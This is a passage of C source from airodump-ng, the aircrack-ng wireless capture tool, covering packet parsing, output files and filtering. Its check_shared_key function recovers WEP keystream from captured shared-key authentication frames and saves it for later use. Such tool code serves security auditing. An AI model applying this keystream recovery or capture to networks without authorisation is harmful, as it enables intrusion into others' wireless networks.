snprintf(oui_ptr->manuf, sizeof(oui_ptr->manuf), "Unknown"); } if (oui_head == NULL) oui_head = oui_ptr; oui_ptr->next = NULL; } } fclose(fp); return oui_head; } int check_shared_key(unsigned char *h80211, int caplen) { int m_bmac, m_smac, m_dmac, n, textlen; char ofn[1024]; char text[4096]; char prga[4096]; unsigned int long crc; if((unsigned)caplen > sizeof(G.sharedkey[0])) return 1; m_bmac = 16; m_smac = 10; m_dmac = 4; if( time(NULL) - G.sk_start > 5) { /* timeout(5sec) - remove all packets, restart timer */ memset(G.sharedkey, '\x00', 4096*3); G.sk_start = time(NULL); } /* is auth packet */ if( (h80211[1] & 0x40) != 0x40 ) { /* not encrypted */ if( ( h80211[24] + (h80211[25] << 8) ) == 1 ) { /* Shared-Key Authentication */ if( ( h80211[26] + (h80211[27] << 8) ) == 2 ) { /* sequence == 2 */ memcpy(G.sharedkey[0], h80211, caplen); G.sk_len = caplen-24; } if( ( h80211[26] + (h80211[27] << 8) ) == 4 ) { /* sequence == 4 */ memcpy(G.sharedkey[2], h80211, caplen); } } else return 1; } else { /* encrypted */ memcpy(G.sharedkey[1], h80211, caplen); G.sk_len2 = caplen-24-4; } /* check if the 3 packets form a proper authentication */ if( ( memcmp(G.sharedkey[0]+m_bmac, NULL_MAC, 6) == 0 ) || ( memcmp(G.sharedkey[1]+m_bmac, NULL_MAC, 6) == 0 ) || ( memcmp(G.sharedkey[2]+m_bmac, NULL_MAC, 6) == 0 ) ) /* some bssids == zero */ { return 1; } if( ( memcmp(G.sharedkey[0]+m_bmac, G.sharedkey[1]+m_bmac, 6) != 0 ) || ( memcmp(G.sharedkey[0]+m_bmac, G.sharedkey[2]+m_bmac, 6) != 0 ) ) /* all bssids aren't equal */ { return 1; } if( ( memcmp(G.sharedkey[0]+m_smac, G.sharedkey[2]+m_smac, 6) != 0 ) || ( memcmp(G.sharedkey[0]+m_smac, G.sharedkey[1]+m_dmac, 6) != 0 ) ) /* SA in 2&4 != DA in 3 */ { return 1; } if( (memcmp(G.sharedkey[0]+m_dmac, G.sharedkey[2]+m_dmac, 6) != 0 ) || (memcmp(G.sharedkey[0]+m_dmac, G.sharedkey[1]+m_smac, 6) != 0 ) ) /* DA in 2&4 != SA in 3 */ { return 1; } textlen = G.sk_len; if(textlen+4 != G.sk_len2) { snprintf(G.message, sizeof(G.message), "][ Broken SKA: %02X:%02X:%02X:%02X:%02X:%02X ", *(G.sharedkey[0]+m_bmac), *(G.sharedkey[0]+m_bmac+1), *(G.sharedkey[0]+m_bmac+2), *(G.sharedkey[0]+m_bmac+3), *(G.sharedkey[0]+m_bmac+4), *(G.sharedkey[0]+m_bmac+5)); return 1; } if((unsigned)textlen > sizeof(text) - 4) return 1; memcpy(text, G.sharedkey[0]+24, textlen); /* increment sequence number from 2 to 3 */ text[2] = text[2]+1; crc = 0xFFFFFFFF; for( n = 0; n < textlen; n++ ) crc = crc_tbl[(crc ^ text[n]) & 0xFF] ^ (crc >> 8); crc = ~crc; /* append crc32 over body */ text[textlen] = (crc ) & 0xFF; text[textlen+1] = (crc >> 8) & 0xFF; text[textlen+2] = (crc >> 16) & 0xFF; text[textlen+3] = (crc >> 24) & 0xFF; /* cleartext XOR cipher */ for(n=0; n<(textlen+4); n++) { prga[4+n] = (text[n] ^ G.sharedkey[1][28+n]) & 0xFF; } /* write IV+index */ prga[0] = G.sharedkey[1][24] & 0xFF; prga[1] = G.sharedkey[1][25] & 0xFF; prga[2] = G.sharedkey[1][26] & 0xFF; prga[3] = G.sharedkey[1][27] & 0xFF; if( G.f_xor != NULL ) { fclose(G.f_xor); G.f_xor = NULL; } snprintf( ofn, sizeof( ofn ) - 1, "%s-%02d-%02X-%02X-%02X-%02X-%02X-%02X.%s", G.prefix, G.f_index, *(G.sharedkey[0]+m_bmac), *(G.sharedkey[0]+m_bmac+1), *(G.sharedkey[0]+m_bmac+2), *(G.sharedkey[0]+m_bmac+3), *(G.sharedkey[0]+m_bmac+4), *(G.sharedkey[0]+m_bmac+5), "xor" ); G.f_xor = fopen( ofn, "w"); if(G.f_xor == NULL) return 1; for(n=0; n<textlen+8; n++) fputc((prga[n] & 0xFF), G.f_xor); fflush(G.f_xor); if( G.f_xor != NULL ) { fclose(G.f_xor); G.f_xor = NULL; } snprintf(G.message, sizeof(G.message), "][ %d bytes keystream: %02X:%02X:%02X:%02X:%02X:%02X ", textlen+4, *(G.sharedkey[0]+m_bmac), *(G.sharedkey[0]+m_bmac+1), *(G.sharedkey[0]+m_bmac+2), *(G.sharedkey[0]+m_bmac+3), *(G.sharedkey[0]+m_bmac+4), *(G.sharedkey[0]+m_bmac+5)); memset(G.sharedkey, '\x00', 512*3); /* ok, keystream saved */ return 0; } char usage[] = "\n" " %s - (C) 2006-2013 Thomas d\'Otreppe\n" " http://www.aircrack-ng.org\n" "\n" " usage: airodump-ng <options> <interface>[,<interface>,...]\n" "\n" " Options:\n" " --ivs : Save only captured IVs\n" " --gpsd : Use GPSd\n" " --write <prefix> : Dump file prefix\n" " -w : same as --write \n" " --beacons : Record all beacons in dump file\n" " --update <secs> : Display update delay in seconds\n" " --showack : Prints ack/cts/rts statistics\n" " -h : Hides known stations for --showack\n" " -f <msecs> : Time in ms between hopping channels\n" " --berlin <secs> : Time before removing the AP/client\n" " from the screen when no more packets\n" " are received (Default: 120 seconds)\n" " -r <file> : Read packets from that file\n" " -x <msecs> : Active Scanning Simulation\n" " --manufacturer : Display manufacturer from IEEE OUI list\n" " --uptime : Display AP Uptime from Beacon Timestamp\n" " --output-format\n" " <formats> : Output format. Possible values:\n" " pcap, ivs, csv, gps, kismet, netxml\n" " --ignore-negative-one : Removes the message that says\n" " fixed channel <interface>: -1\n" "\n" " Filter options:\n" " --encrypt <suite> : Filter APs by cipher suite\n" " --netmask <netmask> : Filter APs by mask\n" " --bssid <bssid> : Filter APs by BSSID\n" " --essid <essid> : Filter APs by ESSID\n" #ifdef HAVE_PCRE " --essid-regex <regex> : Filter APs by ESSID using a regular\n" " expression\n" #endif " -a : Filter unassociated clients\n" "\n" " By default, airodump-ng hop on 2.4GHz channels.\n" " You can make it capture on other/specific channel(s) by using:\n" " --channel <channels> : Capture on specific channels\n" " --band <abg> : Band on which airodump-ng should hop\n" " -C <frequencies> : Uses these frequencies in MHz to hop\n" " --cswitch <method> : Set channel switching method\n" " 0 : FIFO (default)\n" " 1 : Round Robin\n" " 2 : Hop on last\n" " -s : same as --cswitch\n" "\n" " --help : Displays this usage screen\n" "\n"; int is_filtered_netmask(unsigned char *bssid) { unsigned char mac1[6]; unsigned char mac2[6]; int i; for(i=0; i<6; i++) { mac1[i] = bssid[i] & G.f_netmask[i]; mac2[i] = G.f_bssid[i] & G.f_netmask[i]; } if( memcmp(mac1, mac2, 6) != 0 ) { return( 1 ); } return 0; } int is_filtered_essid(unsigned char *essid) { int ret = 0; int i; if(G.f_essid) { for(i=0; i<G.f_essid_count; i++) { if(strncmp((char*)essid, G.f_essid[i], MAX_IE_ELEMENT_SIZE) == 0) { return 0; } } ret = 1; } #ifdef HAVE_PCRE if(G.f_essid_regex) { return pcre_exec(G.f_essid_regex, NULL, (char*)essid, strnlen((char *)essid, MAX_IE_ELEMENT_SIZE), 0, 0, NULL, 0) < 0; } #endif return ret; } void update_rx_quality( ) { unsigned int time_diff, capt_time, miss_time; int missed_frames; struct AP_info *ap_cur = NULL; struct ST_info *st_cur = NULL; struct timeval cur_time; ap_cur = G.ap_1st; st_cur = G.st_1st; gettimeofday( &cur_time, NULL ); /* accesspoints */ while( ap_cur != NULL ) { time_diff = 1000000 * (cur_time.tv_sec - ap_cur->ftimer.tv_sec ) + (cur_time.tv_usec - ap_cur->ftimer.tv_usec); /* update every `QLT_TIME`seconds if the rate is low, or every 500ms otherwise */ if( (ap_cur->fcapt >= QLT_COUNT && time_diff > 500000 ) || time_diff > (QLT_TIME * 1000000) ) { /* at least one frame captured */ if(ap_cur->fcapt > 1) { capt_time = ( 1000000 * (ap_cur->ftimel.tv_sec - ap_cur->ftimef.tv_sec ) //time between first and last captured frame + (ap_cur->ftimel.tv_usec - ap_cur->ftimef.tv_usec) ); miss_time = ( 1000000 * (ap_cur->ftimef.tv_sec - ap_cur->ftimer.tv_sec ) //time between timer reset and first frame + (ap_cur->ftimef.tv_usec - ap_cur->ftimer.tv_usec) ) + ( 1000000 * (cur_time.tv_sec - ap_cur->ftimel.tv_sec ) //time between last frame and this moment + (cur_time.tv_usec - ap_cur->ftimel.tv_usec) ); //number of frames missed at the time where no frames were captured; extrapolated by assuming a constant framerate if(capt_time > 0 && miss_time > 200000) { missed_frames = ((float)((float)miss_time/(float)capt_time) * ((float)ap_cur->fcapt + (float)ap_cur->fmiss)); ap_cur->fmiss += missed_frames; } ap_cur->rx_quality = ((float)((float)ap_cur->fcapt / ((float)ap_cur->fcapt + (float)ap_cur->fmiss)) * 100.0); } else ap_cur->rx_quality = 0; /* no packets -> zero quality */ /* normalize, in case the seq numbers are not iterating */ if(ap_cur->rx_quality > 100) ap_cur->rx_quality = 100; if(ap_cur->rx_quality < 0 ) ap_cur->rx_quality = 0; /* reset variables */ ap_cur->fcapt = 0; ap_cur->fmiss = 0; gettimeofday( &(ap_cur->ftimer) ,NULL); } ap_cur = ap_cur->next; } /* stations */ while( st_cur != NULL ) { time_diff = 1000000 * (cur_time.tv_sec - st_cur->ftimer.tv_sec ) + (cur_time.tv_usec - st_cur->ftimer.tv_usec); if( time_diff > 10000000 ) { st_cur->missed = 0; gettimeofday( &(st_cur->ftimer), NULL ); } st_cur = st_cur->next; } } /* setup the output files */ int dump_initialize( char *prefix, int ivs_only ) { int i, ofn_len; FILE *f; char * ofn = NULL; /* If you only want to see what happening, send all data to /dev/null */ if ( prefix == NULL || strlen( prefix ) == 0) { return( 0 ); } /* Create a buffer of the length of the prefix + '-' + 2 numbers + '.' + longest extension ("kismet.netxml") + terminating 0. */ ofn_len = strlen(prefix) + 1 + 2 + 1 + 13 + 1; ofn = (char *)calloc(1, ofn_len); G.f_index = 1; /* Make sure no file with the same name & all possible file extensions. */ do { for( i = 0; i < NB_EXTENSIONS; i++ ) { memset(ofn, 0, ofn_len); snprintf( ofn, ofn_len, "%s-%02d.%s", prefix, G.f_index, f_ext[i] ); if( ( f = fopen( ofn, "rb+" ) ) != NULL ) { fclose( f ); G.f_index++; break; } } } /* If we did all extensions then no file with that name or extension exist so we can use that number */ while( i < NB_EXTENSIONS ); G.prefix = (char *) malloc(strlen(prefix) + 1); memcpy(G.prefix, prefix, strlen(prefix) + 1); /* create the output CSV file */ if (G.output_format_csv) { memset(ofn, 0, ofn_len); snprintf( ofn, ofn_len, "%s-%02d.%s", prefix, G.f_index, AIRODUMP_NG_CSV_EXT ); if( ( G.f_txt = fopen( ofn, "wb+" ) ) == NULL ) { perror( "fopen failed" ); fprintf( stderr, "Could not create \"%s\".\n", ofn ); free( ofn ); return( 1 ); } } /* create the output Kismet CSV file */ if (G.output_format_kismet_csv) { memset(ofn, 0, ofn_len); snprintf( ofn, ofn_len, "%s-%02d.%s", prefix, G.f_index, KISMET_CSV_EXT ); if( ( G.f_kis = fopen( ofn, "wb+" ) ) == NULL ) { perror( "fopen failed" ); fprintf( stderr, "Could not create \"%s\".\n", ofn ); free( ofn ); return( 1 ); } } /* create the output GPS file */ if (G.usegpsd) { memset(ofn, 0, ofn_len); snprintf( ofn, ofn_len, "%s-%02d.%s", prefix, G.f_index, AIRODUMP_NG_GPS_EXT ); if( ( G.f_gps = fopen( ofn, "wb+" ) ) == NULL ) { perror( "fopen failed" ); fprintf( stderr, "Could not create \"%s\".\n", ofn ); free( ofn ); return( 1 ); } } /* Create the output kismet.netxml file */ if (G.output_format_kismet_netxml) { memset(ofn, 0, ofn_len); snprintf( ofn, ofn_len, "%s-%02d.%s", prefix, G.f_index, KISMET_NETXML_EXT ); if( ( G.f_kis_xml = fopen( ofn, "wb+" ) ) == NULL ) { perror( "fopen failed" ); fprintf( stderr, "Could not create \"%s\".\n", ofn ); free( ofn ); return( 1 ); } } /* create the output packet capture file */ if( G.output_format_pcap ) { struct pcap_file_header pfh; memset(ofn, 0, ofn_len); snprintf( ofn, ofn_len, "%s-%02d.%s", prefix, G.f_index, AIRODUMP_NG_CAP_EXT ); if( ( G.f_cap = fopen( ofn, "wb+" ) ) == NULL ) { perror( "fopen failed" ); fprintf( stderr, "Could not create \"%s\".\n", ofn ); free( ofn ); return( 1 ); } G.f_cap_name = (char *) malloc( strlen( ofn ) + 1 ); memcpy( G.f_cap_name, ofn, strlen( ofn ) + 1 ); free( ofn ); pfh.magic = TCPDUMP_MAGIC; pfh.version_major = PCAP_VERSION_MAJOR; pfh.version_minor = PCAP_VERSION_MINOR; pfh.thiszone = 0; pfh.sigfigs = 0; pfh.snaplen = 65535; pfh.linktype = LINKTYPE_IEEE802_11; if( fwrite( &pfh, 1, sizeof( pfh ), G.f_cap ) != (size_t) sizeof( pfh ) ) { perror( "fwrite(pcap file header) failed" ); return( 1 ); } } else if ( ivs_only ) { struct ivs2_filehdr fivs2; fivs2.version = IVS2_VERSION; memset(ofn, 0, ofn_len); snprintf( ofn, ofn_len, "%s-%02d.%s", prefix, G.f_index, IVS2_EXTENSION ); if( ( G.f_ivs = fopen( ofn, "wb+" ) ) == NULL ) { perror( "fopen failed" ); fprintf( stderr, "Could not create \"%s\".\n", ofn ); free( ofn ); return( 1 ); } free( ofn ); if( fwrite( IVS2_MAGIC, 1, 4, G.f_ivs ) != (size_t) 4 ) { perror( "fwrite(IVs file MAGIC) failed" ); return( 1 ); } if( fwrite( &fivs2, 1, sizeof(struct ivs2_filehdr), G.f_ivs ) != (size_t) sizeof(struct ivs2_filehdr) ) { perror( "fwrite(IVs file header) failed" ); return( 1 ); } } return( 0 ); } int update_dataps() { struct timeval tv; struct AP_info *ap_cur; struct NA_info *na_cur; int sec, usec, diff, ps; float pause; gettimeofday(&tv, NULL); ap_cur = G.ap_end; while( ap_cur != NULL ) { sec = (tv.tv_sec - ap_cur->tv.tv_sec); usec = (tv.tv_usec - ap_cur->tv.tv_usec); pause = (((float)(sec*1000000.0f + usec))/(1000000.0f)); if( pause > 2.0f ) { diff = ap_cur->nb_data - ap_cur->nb_data_old; ps = (int)(((float)diff)/pause); ap_cur->nb_dataps = ps; ap_cur->nb_data_old = ap_cur->nb_data; gettimeofday(&(ap_cur->tv), NULL); } ap_cur = ap_cur->prev; } na_cur = G.na_1st; while( na_cur != NULL ) { sec = (tv.tv_sec - na_cur->tv.tv_sec); usec = (tv.tv_usec - na_cur->tv.tv_usec); pause = (((float)(sec*1000000.0f + usec))/(1000000.0f)); if( pause > 2.0f ) { diff = na_cur->ack - na_cur->ack_old; ps = (int)(((float)diff)/pause); na_cur->ackps = ps; na_cur->ack_old = na_cur->ack; gettimeofday(&(na_cur->tv), NULL); } na_cur = na_cur->next; } return(0); } int list_tail_free(struct pkt_buf **list) { struct pkt_buf **pkts; struct pkt_buf *next; if(list == NULL) return 1; pkts = list; while(*pkts != NULL) { next = (*pkts)->next; if( (*pkts)->packet ) { free( (*pkts)->packet); (*pkts)->packet=NULL; } if(*pkts) { free(*pkts); *pkts = NULL; } *pkts = next; } *list=NULL; return 0; } int list_add_packet(struct pkt_buf **list, int length, unsigned char* packet) { struct pkt_buf *next = *list; if(length <= 0) return 1; if(packet == NULL) return 1; if(list == NULL) return 1; *list = (struct pkt_buf*) malloc(sizeof(struct pkt_buf)); if( *list == NULL ) return 1; (*list)->packet = (unsigned char*) malloc(length); if( (*list)->packet == NULL ) return 1; memcpy((*list)->packet, packet, length); (*list)->next = next; (*list)->length = length; gettimeofday( &((*list)->ctime), NULL); return 0; } /* * Check if the same IV was used if the first two bytes were the same. * If they are not identical, it would complain. * The reason is that the first two bytes unencrypted are 'aa' * so with the same IV it should always be encrypted to the same thing. */ int list_check_decloak(struct pkt_buf **list, int length, unsigned char* packet) { struct pkt_buf *next = *list; struct timeval tv1; int timediff; int i, correct; if( packet == NULL) return 1; if( list == NULL ) return 1; if( *list == NULL ) return 1; if( length <= 0) return 1; gettimeofday(&tv1, NULL); timediff = (((tv1.tv_sec - ((*list)->ctime.tv_sec)) * 1000000) + (tv1.tv_usec - ((*list)->ctime.tv_usec))) / 1000; if( timediff > BUFFER_TIME ) { list_tail_free(list); next=NULL; } while(next != NULL) { if(next->next != NULL) { timediff = (((tv1.tv_sec - (next->next->ctime.tv_sec)) * 1000000) + (tv1.tv_usec - (next->next->ctime.tv_usec))) / 1000; if( timediff > BUFFER_TIME ) { list_tail_free(&(next->next)); break; } } if( (next->length + 4) == length) { correct = 1; // check for 4 bytes added after the end for(i=28;i<length-28;i++) //check everything (in the old packet) after the IV (including crc32 at the end) { if(next->packet[i] != packet[i]) { correct = 0; break; } } if(!correct) { correct = 1; // check for 4 bytes added at the beginning for(i=28;i<length-28;i++) //check everything (in the old packet) after the IV (including crc32 at the end) { if(next->packet[i] != packet[4+i]) { correct = 0; break; } } } if(correct == 1) return 0; //found decloaking! } next = next->next; } return 1; //didn't find decloak } int remove_namac(unsigned char* mac) { struct NA_info *na_cur = NULL; struct NA_info *na_prv = NULL; if(mac == NULL) return( -1 ); na_cur = G.na_1st; na_prv = NULL; while( na_cur != NULL ) { if( ! memcmp( na_cur->namac, mac, 6 ) ) break; na_prv = na_cur; na_cur = na_cur->next; } /* if it's known, remove it */ if( na_cur != NULL ) { /* first in linked list */ if(na_cur == G.na_1st) { G.na_1st = na_cur->next; } else { na_prv->next = na_cur->next; } free(na_cur); na_cur=NULL; } return( 0 ); } int dump_add_packet( unsigned char *h80211, int caplen, struct rx_info *ri, int cardnum ) { int i, n, seq, msd, dlen, offset, clen, o; unsigned z; int type, length, numuni=0, numauth=0; struct pcap_pkthdr pkh; struct timeval tv; struct ivs2_pkthdr ivs2; unsigned char *p, *org_p, c; unsigned char bssid[6]; unsigned char stmac[6]; unsigned char namac[6]; unsigned char clear[2048]; int weight[16]; int num_xor=0; struct AP_info *ap_cur = NULL; struct ST_info *st_cur = NULL; struct NA_info *na_cur = NULL; struct AP_info *ap_prv = NULL; struct ST_info *st_prv = NULL; struct NA_info *na_prv = NULL; /* skip all non probe response frames in active scanning simulation mode */ if( G.active_scan_sim > 0 && h80211[0] != 0x50 ) return(0); /* skip packets smaller than a 802.11 header */ if( caplen < 24 ) goto write_packet; /* skip (uninteresting) control frames */ if( ( h80211[0] & 0x0C ) == 0x04 ) goto write_packet; /* if it's a LLC null packet, just forget it (may change in the future) */ if ( caplen > 28) if ( memcmp(h80211 + 24, llcnull, 4) == 0) return ( 0 ); /* grab the sequence number */ seq = ((h80211[22]>>4)+(h80211[23]<<4)); /* locate the access point's MAC address */ switch( h80211[1] & 3 ) { case 0: memcpy( bssid, h80211 + 16, 6 ); break; //Adhoc case 1: memcpy( bssid, h80211 + 4, 6 ); break; //ToDS case 2: memcpy( bssid, h80211 + 10, 6 ); break; //FromDS case 3: memcpy( bssid, h80211 + 10, 6 ); break; //WDS -> Transmitter taken as BSSID } if( memcmp(G.f_bssid, NULL_MAC, 6) != 0 ) { if( memcmp(G.f_netmask, NULL_MAC, 6) != 0 ) { if(is_filtered_netmask(bssid)) return(1); } else { if( memcmp(G.f_bssid, bssid, 6) != 0 ) return(1); } } /* update our chained list of access points */ ap_cur = G.ap_1st; ap_prv = NULL; while( ap_cur != NULL ) { if( ! memcmp( ap_cur->bssid, bssid, 6 ) ) break; ap_prv = ap_cur; ap_cur = ap_cur->next; } /* if it's a new access point, add it */ if( ap_cur == NULL ) { if( ! ( ap_cur = (struct AP_info *) malloc( sizeof( struct AP_info ) ) ) ) { perror( "malloc failed" ); return( 1 ); } /* if mac is listed as unknown, remove it */ remove_namac(bssid); memset( ap_cur, 0, sizeof( struct AP_info ) ); if( G.ap_1st == NULL ) G.ap_1st = ap_cur; else ap_prv->next = ap_cur; memcpy( ap_cur->bssid, bssid, 6 ); if (ap_cur->manuf == NULL) { ap_cur->manuf = get_manufacturer(ap_cur->bssid[0], ap_cur->bssid[1], ap_cur->bssid[2]); } ap_cur->prev = ap_prv; ap_cur->tinit = time( NULL ); ap_cur->tlast = time( NULL ); ap_cur->avg_power = -1; ap_cur->best_power = -1; ap_cur->power_index = -1; for( i = 0; i < NB_PWR; i++ ) ap_cur->power_lvl[i] = -1; ap_cur->channel = -1; ap_cur->max_speed = -1; ap_cur->security = 0; ap_cur->uiv_root = uniqueiv_init(); ap_cur->nb_dataps = 0; ap_cur->nb_data_old = 0; gettimeofday(&(ap_cur->tv), NULL); ap_cur->dict_started = 0; ap_cur->key = NULL; G.ap_end = ap_cur; ap_cur->nb_bcn = 0; ap_cur->rx_quality = 0; ap_cur->fcapt = 0; ap_cur->fmiss = 0; ap_cur->last_seq = 0; gettimeofday( &(ap_cur->ftimef), NULL); gettimeofday( &(ap_cur->ftimel), NULL); gettimeofday( &(ap_cur->ftimer), NULL); ap_cur->ssid_length = 0; ap_cur->essid_stored = 0; ap_cur->timestamp = 0; ap_cur->decloak_detect=G.decloak; ap_cur->is_decloak = 0; ap_cur->packets = NULL; ap_cur->marked = 0; ap_cur->marked_color = 1; ap_cur->data_root = NULL; ap_cur->EAP_detected = 0; memcpy(ap_cur->gps_loc_min, G.gps_loc, sizeof(float)*5); memcpy(ap_cur->gps_loc_max, G.gps_loc, sizeof(float)*5); memcpy(ap_cur->gps_loc_best, G.gps_loc, sizeof(float)*5); } /* update the last time seen */ ap_cur->tlast = time( NULL ); /* only update power if packets comes from * the AP: either type == mgmt and SA != BSSID, * or FromDS == 1 and ToDS == 0 */ if( ( ( h80211[1] & 3 ) == 0 && memcmp( h80211 + 10, bssid, 6 ) == 0 ) || ( ( h80211[1] & 3 ) == 2 ) ) { ap_cur->power_index = ( ap_cur->power_index + 1 ) % NB_PWR; ap_cur->power_lvl[ap_cur->power_index] = ri->ri_power; ap_cur->avg_power = 0; for( i = 0, n = 0; i < NB_PWR; i++ ) { if( ap_cur->power_lvl[i] != -1 ) { ap_cur->avg_power += ap_cur->power_lvl[i]; n++; } } if( n > 0 ) { ap_cur->avg_power /= n; if( ap_cur->avg_power > ap_cur->best_power ) { ap_cur->best_power = ap_cur->avg_power; memcpy(ap_cur->gps_loc_best, G.gps_loc, sizeof(float)*5); } } else ap_cur->avg_power = -1; /* every packet in here comes from the AP */ if(G.gps_loc[0] > ap_cur->gps_loc_max[0]) ap_cur->gps_loc_max[0] = G.gps_loc[0]; if(G.gps_loc[1] > ap_cur->gps_loc_max[1]) ap_cur->gps_loc_max[1] = G.gps_loc[1]; if(G.gps_loc[2] > ap_cur->gps_loc_max[2]) ap_cur->gps_loc_max[2] = G.gps_loc[2]; if(G.gps_loc[0] < ap_cur->gps_loc_min[0]) ap_cur->gps_loc_min[0] = G.gps_loc[0]; if(G.gps_loc[1] < ap_cur->gps_loc_min[1]) ap_cur->gps_loc_min[1] = G.gps_loc[1]; if(G.gps_loc[2] < ap_cur->gps_loc_min[2]) ap_cur->gps_loc_min[2] = G.gps_loc[2]; // printf("seqnum: %i\n", seq); if(ap_cur->fcapt == 0 && ap_cur->fmiss == 0) gettimeofday( &(ap_cur->ftimef), NULL); if(ap_cur->last_seq != 0) ap_cur->fmiss += (seq - ap_cur->last_seq - 1); ap_cur->last_seq = seq; ap_cur->fcapt++; gettimeofday( &(ap_cur->ftimel), NULL); // if(ap_cur->fcapt >= QLT_COUNT) update_rx_quality(); } if( h80211[0] == 0x80 ) { ap_cur->nb_bcn++; } ap_cur->nb_pkt++; /* find wpa handshake */ if( h80211[0] == 0x10 ) { /* reset the WPA handshake state */ if( st_cur != NULL && st_cur->wpa.state != 0xFF ) st_cur->wpa.state = 0; // printf("initial auth %d\n", ap_cur->wpa_state); } /* locate the station MAC in the 802.11 header */ switch( h80211[1] & 3 ) { case 0: /* if management, check that SA != BSSID */ if( memcmp( h80211 + 10, bssid, 6 ) == 0 ) goto skip_station; memcpy( stmac, h80211 + 10, 6 ); break; case 1: /* ToDS packet, must come from a client */ memcpy( stmac, h80211 + 10, 6 ); break; case 2: /* FromDS packet, reject broadcast MACs */ if( (h80211[4]%2) != 0 ) goto skip_station; memcpy( stmac, h80211 + 4, 6 ); break; default: goto skip_station; } /* update our chained list of wireless stations */ st_cur = G.st_1st; st_prv = NULL; while( st_cur != NULL ) { if( ! memcmp( st_cur->stmac, stmac, 6 ) ) break; st_prv = st_cur; st_cur = st_cur->next; } /* if it's a new client, add it */ if( st_cur == NULL ) { if( ! ( st_cur = (struct ST_info *) malloc( sizeof( struct ST_info ) ) ) ) { perror( "malloc failed" ); return( 1 ); } /* if mac is listed as unknown, remove it */ remove_namac(stmac); memset( st_cur, 0, sizeof( struct ST_info ) ); if( G.st_1st == NULL ) G.st_1st = st_cur; else st_prv->next = st_cur; memcpy( st_cur->stmac, stmac, 6 ); if (st_cur->manuf == NULL) { st_cur->manuf = get_manufacturer(st_cur->stmac[0], st_cur->stmac[1], st_cur->stmac[2]); } st_cur->prev = st_prv; st_cur->tinit = time( NULL ); st_cur->tlast = time( NULL ); st_cur->power = -1; st_cur->rate_to = -1; st_cur->rate_from = -1; st_cur->probe_index = -1; st_cur->missed = 0; st_cur->lastseq = 0; st_cur->qos_fr_ds = 0; st_cur->qos_to_ds = 0; gettimeofday( &(st_cur->ftimer), NULL); for( i = 0; i < NB_PRB; i++ ) { memset( st_cur->probes[i], 0, sizeof( st_cur->probes[i] ) ); st_cur->ssid_length[i] = 0; } G.st_end = st_cur; } if( st_cur->base == NULL || memcmp( ap_cur->bssid, BROADCAST, 6 ) != 0 ) st_cur->base = ap_cur; //update bitrate to station if( (st_cur != NULL) && ( h80211[1] & 3 ) == 2 ) st_cur->rate_to = ri->ri_rate; /* update the last time seen */ st_cur->tlast = time( NULL ); /* only update power if packets comes from the * client: either type == Mgmt and SA != BSSID, * or FromDS == 0 and ToDS == 1 */ if( ( ( h80211[1] & 3 ) == 0 && memcmp( h80211 + 10, bssid, 6 ) != 0 ) || ( ( h80211[1] & 3 ) == 1 ) ) { st_cur->power = ri->ri_power; st_cur->rate_from = ri->ri_rate; if(st_cur->lastseq != 0) { msd = seq - st_cur->lastseq - 1; if(msd > 0 && msd < 1000) st_cur->missed += msd; } st_cur->lastseq = seq; } st_cur->nb_pkt++; skip_station: /* packet parsing: Probe Request */ if( h80211[0] == 0x40 && st_cur != NULL ) { p = h80211 + 24; while( p < h80211 + caplen ) { if( p + 2 + p[1] > h80211 + caplen ) break; if( p[0] == 0x00 && p[1] > 0 && p[2] != '\0' && ( p[1] > 1 || p[2] != ' ' ) ) { // n = ( p[1] > 32 ) ? 32 : p[1]; n = p[1]; for( i = 0; i < n; i++ ) if( p[2 + i] > 0 && p[2 + i] < ' ' ) goto skip_probe; /* got a valid ASCII probed ESSID, check if it's already in the ring buffer */ for( i = 0; i < NB_PRB; i++ ) if( memcmp( st_cur->probes[i], p + 2, n ) == 0 ) goto skip_probe; st_cur->probe_index = ( st_cur->probe_index + 1 ) % NB_PRB; memset( st_cur->probes[st_cur->probe_index], 0, 256 ); memcpy( st_cur->probes[st_cur->probe_index], p + 2, n ); //twice?! st_cur->ssid_length[st_cur->probe_index] = n; for( i = 0; i < n; i++ ) { c = p[2 + i]; if( c == 0 || ( c > 126 && c < 160 ) ) c = '.'; //could also check ||(c>0 && c<32) st_cur->probes[st_cur->probe_index][i] = c; } } p += 2 + p[1]; } } skip_probe: /* packet parsing: Beacon or Probe Response */ if( h80211[0] == 0x80 || h80211[0] == 0x50 ) { if( !(ap_cur->security & (STD_OPN|STD_WEP|STD_WPA|STD_WPA2)) ) { if( ( h80211[34] & 0x10 ) >> 4 ) ap_cur->security |= STD_WEP|ENC_WEP; else ap_cur->security |= STD_OPN; } ap_cur->preamble = ( h80211[34] & 0x20 ) >> 5; unsigned long long *tstamp = (unsigned long long *) (h80211 + 24); ap_cur->timestamp = letoh64(*tstamp); p = h80211 + 36; while( p < h80211 + caplen ) { if( p + 2 + p[1] > h80211 + caplen ) break; //only update the essid length if the new length is > the old one if( p[0] == 0x00 && (ap_cur->ssid_length < p[1]) ) ap_cur->ssid_length = p[1]; if( p[0] == 0x00 && p[1] > 0 && p[2] != '\0' && ( p[1] > 1 || p[2] != ' ' ) ) { /* found a non-cloaked ESSID */ // n = ( p[1] > 32 ) ? 32 : p[1]; n = p[1]; memset( ap_cur->essid, 0, 256 ); memcpy( ap_cur->essid, p + 2, n ); if( G.f_ivs != NULL && !ap_cur->essid_stored ) { memset(&ivs2, '\x00', sizeof(struct ivs2_pkthdr)); ivs2.flags |= IVS2_ESSID; ivs2.len += ap_cur->ssid_length; if( memcmp( G.prev_bssid, ap_cur->bssid, 6 ) != 0 ) { ivs2.flags |= IVS2_BSSID; ivs2.len += 6; memcpy( G.prev_bssid, ap_cur->bssid, 6 ); } /* write header */ if( fwrite( &ivs2, 1, sizeof(struct ivs2_pkthdr), G.f_ivs ) != (size_t) sizeof(struct ivs2_pkthdr) ) { perror( "fwrite(IV header) failed" ); return( 1 ); } /* write BSSID */ if(ivs2.flags & IVS2_BSSID) { if( fwrite( ap_cur->bssid, 1, 6, G.f_ivs ) != (size_t) 6 ) { perror( "fwrite(IV bssid) failed" ); return( 1 ); } } /* write essid */ if( fwrite( ap_cur->essid, 1, ap_cur->ssid_length, G.f_ivs ) != (size_t) ap_cur->ssid_length ) { perror( "fwrite(IV essid) failed" ); return( 1 ); } ap_cur->essid_stored = 1; } for( i = 0; i < n; i++ ) if( ( ap_cur->essid[i] > 0 && ap_cur->essid[i] < 32 ) || ( ap_cur->essid[i] > 126 && ap_cur->essid[i] < 160 ) ) ap_cur->essid[i] = '.'; } /* get the maximum speed in Mb and the AP's channel */ if( p[0] == 0x01 || p[0] == 0x32 ) { if(ap_cur->max_speed < ( 